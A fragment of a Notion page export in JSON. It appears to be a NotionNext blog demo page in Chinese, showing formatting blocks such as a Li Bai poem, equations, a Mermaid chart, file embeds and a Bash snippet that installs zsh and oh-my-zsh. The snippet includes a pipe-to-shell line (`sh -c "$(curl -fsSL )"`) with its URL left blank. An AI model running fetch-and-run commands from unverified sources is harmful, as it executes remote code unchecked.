ee-7a6e4e38b8cd","51b6910d-e9cd-4a81-aae0-766883f9d904","b407262e-e839-4266-8acc-6e5829f928c9","e289a4a8-54f9-47df-b1f1-5a5f778c93ab","b30997a8-63eb-4339-bfa3-5b06ef9bd842","9c9075da-d8aa-4347-9bbb-b41a1c7fcc78","e57ed9a8-9c51-4b46-aa09-400d5154a42f","43181d65-d467-4bd5-a8cb-6942161eabd5","eb3a98c3-8978-40b5-9166-5cef30088d2a","5fef12d0-8a28-437c-8514-47243e565b19","182a922c-a77e-4465-a7bf-b6cd9bb8aa95","af988ade-cbe2-4091-b037-e8a39b7ef3fc","3206c63c-38c9-42a5-9829-1f8a39e6e0eb","c311a2ed-ff9b-41ef-8259-c5d55e7076f6","4748bbad-6dc8-4e84-ab43-96c076df3dd2","b8800b2b-162c-42fa-9302-c258941e9dbf","3f939f7e-4387-4bf1-9fb0-d1b17a08ec88","180fd5e9-cf79-432d-8d92-894d783e5e00","ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26","3fba972c-29f1-458a-a947-7d8aa18f79e6","7050f906-9255-4e76-840e-000da98df97d","eb25cdb8-697c-4b55-a556-e416f9ecdbfb","b4f0f638-f797-4040-9600-f5576c4520be","4038cfa4-b79f-4562-b5d8-9ed98addba56","c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","3ccfd881-f68a-446b-b9e3-ad394ab9d36f","522cceae-719e-47fe-880a-29732a5e4ca5","150b9807-a36f-45eb-9892-d9f6a0f1db56","42ab1b80-3546-4a53-a9ca-bb98d854e4c3","fd0213c3-3749-4192-9153-a4ed99862478","0186f962-3e26-4d4c-94ac-91763ada0633","7d0286ac-a9d7-4830-af71-ef7b45c2f171","e4a4f952-60d5-4bb8-a96f-a835fe58bd3b","c994ab66-5436-4200-bc41-90a32ae0ee7e","e0c369fb-2c38-4e2d-b639-361bca715727","b2eef454-ef1f-4137-a256-ed8d7f28ca5d","75a4c9a0-0331-416b-86ac-184c365390a9","f7f5b64a-3ff6-47b3-947d-80f9e1704081","db08546f-0540-456c-9244-e258c16452c3","c06aaa31-3788-4ed1-b964-ad1ff77fe151","24d6c0a0-f4d3-44dd-b749-4f048b962bcd","58b92af2-69c7-4e70-b107-5b62363f7bf8","7a70e08b-725e-4db5-9f17-8dc53540f006","42e434d6-3a26-49f0-8405-04854616fc19","f862643d-1c2d-4678-9168-580da7e368dc","573fc380-fb6b-434b-897f-3510f4c57832"],"format":{"page_font":"serif","page_icon":"🗓️","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"}],"created_time":1705638991057,"last_edited_time":1705645088580,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"6c2aad49-6a12-4775-914f-7ed36358eb32":{"value":{"id":"6c2aad49-6a12-4775-914f-7ed36358eb32","type":"header","properties":{"title":[["基本段落"]]},"format":{"copied_from_pointer":{"id":"446eafa5-f482-4ccf-8998-fbd1a51eee0b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"446eafa5-f482-4ccf-8998-fbd1a51eee0b"}},"9b26bd9a-9a46-4d36-b995-bf4d3d58dd45":{"value":{"id":"9b26bd9a-9a46-4d36-b995-bf4d3d58dd45","type":"quote","properties":{"title":[["书中自有黄金屋,书中自有颜如玉"]]},"format":{"copied_from_pointer":{"id":"ce76391f-3f28-42d3-8646-8ff1eb705b92","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ce76391f-3f28-42d3-8646-8ff1eb705b92"}},"c2d6e2c5-296b-475c-b2d8-7723d212a732":{"value":{"id":"c2d6e2c5-296b-475c-b2d8-7723d212a732","type":"callout","properties":{"title":[["生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"81283d86-5b13-4c77-a1cf-316bcd8e4152","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991037,"last_edited_time":1705638991037,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"81283d86-5b13-4c77-a1cf-316bcd8e4152"}},"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a":{"value":{"id":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","type":"sub_header","properties":{"title":[["将进酒",[["b"]]]]},"format":{"copied_from_pointer":{"id":"0c84d8d1-07c3-4969-90b2-03808c73c264","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0c84d8d1-07c3-4969-90b2-03808c73c264"}},"9369db5e-52eb-4c76-8f20-ee3937c65109":{"value":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","type":"text","properties":{"title":[["李白〔唐代〕"],["参考[1]",[["a","#a47eb4929c654ac4b8c895d00023a97e"]]]]},"format":{"copied_from_pointer":{"id":"99590d37-6a81-4349-a933-994d66be84a5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"99590d37-6a81-4349-a933-994d66be84a5"}},"f190aaaf-4ada-493b-bb58-bac82327317e":{"value":{"id":"f190aaaf-4ada-493b-bb58-bac82327317e","type":"text","properties":{"title":[["君不见黄河之水天上来,奔流到海不复回。\n君不见高堂明镜悲白发,朝如青丝暮成雪。\n人生得意须尽欢,莫使金樽空对月。\n天生我材必有用,千金散尽还复来。\n烹羊宰牛且为乐,会须一饮三百杯。\n岑夫子,丹丘生,将进酒,杯莫停。\n与君歌一曲,请君为我倾耳听。\n钟鼓馔玉不足贵,但愿长醉不愿醒。\n古来圣贤皆寂寞,惟有饮者留其名。\n陈王昔时宴平乐,斗酒十千恣欢谑。\n主人何为言少钱,径须沽取对君酌。\n五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。"]]},"format":{"copied_from_pointer":{"id":"189c6309-f15e-47ad-a135-a14f36cda7e4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"189c6309-f15e-47ad-a135-a14f36cda7e4"}},"41e02cef-9892-468d-a759-e74c41dfcd70":{"value":{"id":"41e02cef-9892-468d-a759-e74c41dfcd70","type":"bookmark","properties":{"link":[["https://tangly1024.com/"]],"title":[["TANGLY's BLOG | 记录思考、分享我的学习笔记"]],"description":[["记录思考、分享我的学习笔记"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1564419320603-628d868a193f?q=50&fm=jpg&fit=crop&w=1920&h=1600","copied_from_pointer":{"id":"3a5174d9-05b5-4b29-bdb7-9be20977e8af","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3a5174d9-05b5-4b29-bdb7-9be20977e8af"}},"3ac4ec2f-1b75-41a4-8048-ee14e5549d21":{"value":{"id":"3ac4ec2f-1b75-41a4-8048-ee14e5549d21","type":"external_object_instance","format":{"integration_id":"cdc46cd9-f0e9-48fd-b3aa-18481098e29e","is_placeholder":true,"copied_from_pointer":{"id":"fdceaba7-a336-4c8d-b710-5e6ea3ed90ca","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"fdceaba7-a336-4c8d-b710-5e6ea3ed90ca"}},"266dce1b-2303-4514-aa52-2c946c8d8fba":{"value":{"id":"266dce1b-2303-4514-aa52-2c946c8d8fba","type":"header","properties":{"title":[["特殊段落"]]},"format":{"copied_from_pointer":{"id":"3d9836fa-6437-437e-8a01-a0a4f530979a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3d9836fa-6437-437e-8a01-a0a4f530979a"}},"3a8f1cf9-1509-4b97-93d7-aef56bcaf85a":{"value":{"id":"3a8f1cf9-1509-4b97-93d7-aef56bcaf85a","type":"sub_header","properties":{"title":[["1.代码"]]},"format":{"copied_from_pointer":{"id":"85dc9288-bc63-40ba-8251-03bbb07f61a7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"85dc9288-bc63-40ba-8251-03bbb07f61a7"}},"3afc4b4f-2afa-4732-b15c-70cb97502fba":{"value":{"id":"3afc4b4f-2afa-4732-b15c-70cb97502fba","type":"code","properties":{"title":[["# Bash 安装zsh\n$ sudo apt install zsh\n\n# 配置ohmyzsh\n$ sh -c \"$(curl -fsSL )\"\n\n# 配置ohmyzsh插件\n# zsh-autosuggestions\n$ git clone git://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions\n\n# zsh-syntax-highlighting\n$ git clone ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting\n\n// 启用插件\n$ vim .zshrc\nplugins=(git z zsh-autosuggestions zsh-syntax-highlighting)"]],"language":[["Bash"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"017adce7-b2bb-48dc-9398-edacd776dc25","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991028,"last_edited_time":1705638991028,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"017adce7-b2bb-48dc-9398-edacd776dc25"}},"58a2fe87-4e0c-40aa-baed-b99e677f4891":{"value":{"id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","type":"toggle","properties":{"title":[["其他更多语言"]]},"content":["f993f0f3-96ef-436e-b3a6-2a32c9623c1c","dc053857-d6b6-4106-9819-6545884c39ee","063756cd-6ec1-4081-85e3-4b92832a9cb4","cb1f9529-7659-4836-902b-9d15084eaa0a","c7f0ee45-718e-4229-9f2f-b7c2fc7ad580","88676695-452c-49cb-9d9c-0711d2f1f4be","025fccd3-0e3c-4be1-85bb-1880edddeb65","4d19c930-9e8b-4fc5-b273-19717fe62e33"],"format":{"copied_from_pointer":{"id":"55f94688-f9a4-4713-bc50-cb81232974f3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"55f94688-f9a4-4713-bc50-cb81232974f3"}},"abc36c13-25fc-4b0d-bda9-6b45a9d992bc":{"value":{"id":"abc36c13-25fc-4b0d-bda9-6b45a9d992bc","type":"sub_header","properties":{"title":[["2.公式"]]},"format":{"copied_from_pointer":{"id":"7de9f2bb-6e8b-4a0d-b126-62148de95bd5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"7de9f2bb-6e8b-4a0d-b126-62148de95bd5"}},"0d862f5f-f617-4972-a07f-c90da2679c24":{"value":{"id":"0d862f5f-f617-4972-a07f-c90da2679c24","type":"bulleted_list","properties":{"title":[["数学公式"]]},"content":["8c07082c-8cec-440e-bf4e-29bea61f9062","90932a5f-3a36-460b-8d7c-eced46b176b4"],"format":{"copied_from_pointer":{"id":"ab94ff2a-4201-4ef5-8db9-df5654521f11","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ab94ff2a-4201-4ef5-8db9-df5654521f11"}},"2feae355-4a74-4b81-a318-b1cdaf3345b1":{"value":{"id":"2feae355-4a74-4b81-a318-b1cdaf3345b1","type":"bulleted_list","properties":{"title":[["化学方程"]]},"content":["75582ed8-5351-455f-9583-ce8806132569"],"format":{"copied_from_pointer":{"id":"42e4e244-fe02-46e3-9f72-33a2471dffa1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"42e4e244-fe02-46e3-9f72-33a2471dffa1"}},"a625f064-b0f6-4744-b6b9-e40aaf12ffa9":{"value":{"id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","type":"toggle","properties":{"title":[["其他更多公式"]]},"content":["583d808b-a380-4da7-a547-23a10d3fa5c8","7e94f6c0-5ab6-4778-9277-992fd5664f01","52d5a916-ab83-448a-9f42-1a7ef92b2e19","68c4d878-bb42-4e06-baa5-635a4f804e97","408dee57-e78b-4bff-b11d-dae0ffb56756"],"format":{"copied_from_pointer":{"id":"8d7fc19c-da47-4cad-a2c5-a6257de3e1c9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"8d7fc19c-da47-4cad-a2c5-a6257de3e1c9"}},"d1de48bb-00c6-40ac-81df-d6fb0b784f36":{"value":{"id":"d1de48bb-00c6-40ac-81df-d6fb0b784f36","type":"sub_header","properties":{"title":[["3. 图表"]]},"format":{"copied_from_pointer":{"id":"32a7b6a9-e1ba-44a5-982f-a055f5b01366","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"32a7b6a9-e1ba-44a5-982f-a055f5b01366"}},"62a16f54-8d5e-41cc-a7a4-70f28d18bb2a":{"value":{"id":"62a16f54-8d5e-41cc-a7a4-70f28d18bb2a","type":"code","properties":{"title":[["graph LR;\n公司架构-->商务\n公司架构-->研发\n公司架构-->设计\n公司架构-->运营\n公司架构-->产品"]],"caption":[["思维导图"]],"language":[["Mermaid"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"f52fc1fa-7e9e-48dc-b48f-6b7d70e26535","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f52fc1fa-7e9e-48dc-b48f-6b7d70e26535"}},"b87bd083-9175-48c6-adee-7a6e4e38b8cd":{"value":{"id":"b87bd083-9175-48c6-adee-7a6e4e38b8cd","type":"sub_header","properties":{"title":[["4. PDF嵌入"]]},"format":{"copied_from_pointer":{"id":"75cd9f28-82de-41f7-a5f2-af4e0055aaf1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"75cd9f28-82de-41f7-a5f2-af4e0055aaf1"}},"51b6910d-e9cd-4a81-aae0-766883f9d904":{"value":{"id":"51b6910d-e9cd-4a81-aae0-766883f9d904","type":"pdf","properties":{"size":[["871.3KB"]],"title":[["tailwindcss.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ffbdf623f-21ce-48a2-b8b6-152680ad6dfe%2Ftailwindcss.pdf?table=block&id=51b6910d-e9cd-4a81-aae0-766883f9d904"]]},"format":{"block_width":708,"block_height":320,"block_full_width":false,"block_page_width":false,"copied_from_pointer":{"id":"7ded6839-18db-4e45-842d-c6422ad2513c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":false},"created_time":1705638991037,"last_edited_time":1705638991037,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"7ded6839-18db-4e45-842d-c6422ad2513c","file_ids":["fbdf623f-21ce-48a2-b8b6-152680ad6dfe"]}},"b407262e-e839-4266-8acc-6e5829f928c9":{"value":{"id":"b407262e-e839-4266-8acc-6e5829f928c9","type":"sub_header","properties":{"title":[["5.下载附件"]]},"format":{"copied_from_pointer":{"id":"e0cc9e30-809d-4960-bdb2-efb857c24ec6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"e0cc9e30-809d-4960-bdb2-efb857c24ec6"}},"e289a4a8-54f9-47df-b1f1-5a5f778c93ab":{"value":{"id":"e289a4a8-54f9-47df-b1f1-5a5f778c93ab","type":"file","properties":{"size":[["469.5KB"]],"title":[["下载PDF附件.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ffab11580-96c3-4230-90f6-05257f00fb0a%2F%25E6%25B5%258B%25E8%25AF%2595%25E5%25B5%258C%25E5%2585%25A5PDF.pdf?table=block&id=e289a4a8-54f9-47df-b1f1-5a5f778c93ab"]]},"format":{"copied_from_pointer":{"id":"39802971-3009-4c34-a5ee-34c301fb022f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"39802971-3009-4c34-a5ee-34c301fb022f","file_ids":["fab11580-96c3-4230-90f6-05257f00fb0a"]}},"b30997a8-63eb-4339-bfa3-5b06ef9bd842":{"value":{"id":"b30997a8-63eb-4339-bfa3-5b06ef9bd842","type":"file","properties":{"size":[["469.5KB"]],"title":[["下载PDF附件-2.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F69f6fdf6-9aab-485a-a73d-d5c0d3f324db%2F%25E4%25B8%258B%25E8%25BD%25BDPDF%25E9%2599%2584%25E4%25BB%25B6-2.pdf?table=block&id=b30997a8-63eb-4339-bfa3-5b06ef9bd842"]]},"format":{"copied_from_pointer":{"id":"2ee611e4-e7d6-4b8f-839b-6219abc40ce6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"2ee611e4-e7d6-4b8f-839b-6219abc40ce6","file_ids":["69f6fdf6-9aab-485a-a73d-d5c0d3f324db"]}},"9c9075da-d8aa-4347-9bbb-b41a1c7fcc78":{"value":{"id":"9c9075da-d8aa-4347-9bbb-b41a1c7fcc78","type":"sub_header","properties":{"title":[["6. 照片集"]]},"format":{"copied_from_pointer":{"id":"46e00789-6d6a-4635-aac3-433bba79a5df","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"46e00789-6d6a-4635-aac3-433bba79a5df"}},"e57ed9a8-9c51-4b46-aa09-400d5154a42f":{"value":{"id":"e57ed9a8-9c51-4b46-aa09-400d5154a42f","type":"image","properties":{"size":[["825.6KB"]],"title":[["WX20201027-101530@2x.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c876828e-2768-4863-b6d3-ad97b32223d3/WX20201027-1015302x.png"]]},"format":{"block_width":624,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c876828e-2768-4863-b6d3-ad97b32223d3/WX20201027-1015302x.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":1.020979020979021,"copied_from_pointer":{"id":"bdc4308c-7035-406b-a406-26c01d283858","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":true},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"bdc4308c-7035-406b-a406-26c01d283858","file_ids":["c876828e-2768-4863-b6d3-ad97b32223d3"]}},"8c07082c-8cec-440e-bf4e-29bea61f9062":{"value":{"id":"8c07082c-8cec-440e-bf4e-29bea61f9062","type":"equation","properties":{"title":[["f\\left(\\left[\\frac{1+\\{x, y\\}}{\\left(\\frac{x}{y}+\\frac{y}{x}\\right)(u+1)}+a\\right]^{3 / 2}\\right)\\tag{行标}"]]},"format":{"copied_from_pointer":{"id":"f73d2d76-f110-476f-ab07-4e49477068ed","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"0d862f5f-f617-4972-a07f-c90da2679c24","parent_table":"block","alive":true,"copied_from":"f73d2d76-f110-476f-ab07-4e49477068ed"}},"90932a5f-3a36-460b-8d7c-eced46b176b4":{"value":{"id":"90932a5f-3a36-460b-8d7c-eced46b176b4","type":"equation","properties":{"title":[["\\tau_{xy}=-\\tau_{yx}\\tau_{xz}=-\\tau_{zx}\\tau_{yz}=-\\tau{zy}"]]},"format":{"copied_from_pointer":{"id":"cf2118fe-22c9-4507-8013-18a96601b0d7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"0d862f5f-f617-4972-a07f-c90da2679c24","parent_table":"block","alive":true,"copied_from":"cf2118fe-22c9-4507-8013-18a96601b0d7"}},"75582ed8-5351-455f-9583-ce8806132569":{"value":{"id":"75582ed8-5351-455f-9583-ce8806132569","type":"text","properties":{"title":[["⁍",[["e","\\ce{2H2O->2H2 + O2}\n"]]]]},"format":{"copied_from_pointer":{"id":"b7d89274-b359-4917-ac8a-ebc13295506f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"2feae355-4a74-4b81-a318-b1cdaf3345b1","parent_table":"block","alive":true,"copied_from":"b7d89274-b359-4917-ac8a-ebc13295506f"}},"43181d65-d467-4bd5-a8cb-6942161eabd5":{"value":{"id":"43181d65-d467-4bd5-a8cb-6942161eabd5","type":"collection_view","view_ids":["6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a"],"collection_id":"7b11173d-8924-4a09-8897-50956378c0fc","format":{"collection_pointer":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"c7e030aa-217d-4855-a447-68f530b7a6f6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"c7e030aa-217d-4855-a447-68f530b7a6f6"}},"eb3a98c3-8978-40b5-9166-5cef30088d2a":{"value":{"id":"eb3a98c3-8978-40b5-9166-5cef30088d2a","type":"sub_header","properties":{"title":[["7. 内嵌网页"]]},"format":{"copied_from_pointer":{"id":"488fe62e-a776-4240-85e9-5fba92d18513","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"488fe62e-a776-4240-85e9-5fba92d18513"}},"5fef12d0-8a28-437c-8514-47243e565b19":{"value":{"id":"5fef12d0-8a28-437c-8514-47243e565b19","type":"embed","properties":{"source":[["https://docs.tangly1024.com/zh"]],"description":[["一个使用 NextJS + Notion API 实现的,部署在 Vercel 上的静态博客系统。为Notion和所有创作者设计。 - GitHub - tangly1024/NotionNext: 一个使用 NextJS + Notion API 实现的,部署在 Vercel 上的静态博客系统。为Notion和所有创作者设计。"]]},"format":{"block_width":720,"block_height":486.99713134765625,"bookmark_icon":"https://github.com/favicon.ico","bookmark_cover":"https://opengraph.githubassets.com/7bc91fe7946837cac17c0a6b378f1a80cf14e6eae1e2f0c1dc0f6384826c66ad/tangly1024/NotionNext","display_source":"https://docs.tangly1024.com/zh","block_full_width":false,"block_page_width":true,"copied_from_pointer":{"id":"0262365a-23ff-471e-9d94-bd7bfa6bb9fe","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":false},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0262365a-23ff-471e-9d94-bd7bfa6bb9fe"}},"182a922c-a77e-4465-a7bf-b6cd9bb8aa95":{"value":{"id":"182a922c-a77e-4465-a7bf-b6cd9bb8aa95","type":"text","properties":{"title":[["https://www.bilibili.com/video/BV1Qs411d7pd/?spm_id_from=333.337.search-card.all.click&vd_source=39f78b1b8c48640556d1685e5f99a413",[["a","https://www.bilibili.com/video/BV1Qs411d7pd/?spm_id_from=333.337.search-card.all.click&vd_source=39f78b1b8c48640556d1685e5f99a413"]]]]},"format":{"copied_from_pointer":{"id":"5e0d4e6a-2710-4814-bb7b-fdd1c0146ef5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"5e0d4e6a-2710-4814-bb7b-fdd1c0146ef5"}},"af988ade-cbe2-4091-b037-e8a39b7ef3fc":{"value":{"id":"af988ade-cbe2-4091-b037-e8a39b7ef3fc","type":"sub_header","properties":{"title":[["5.代办"]]},"format":{"copied_f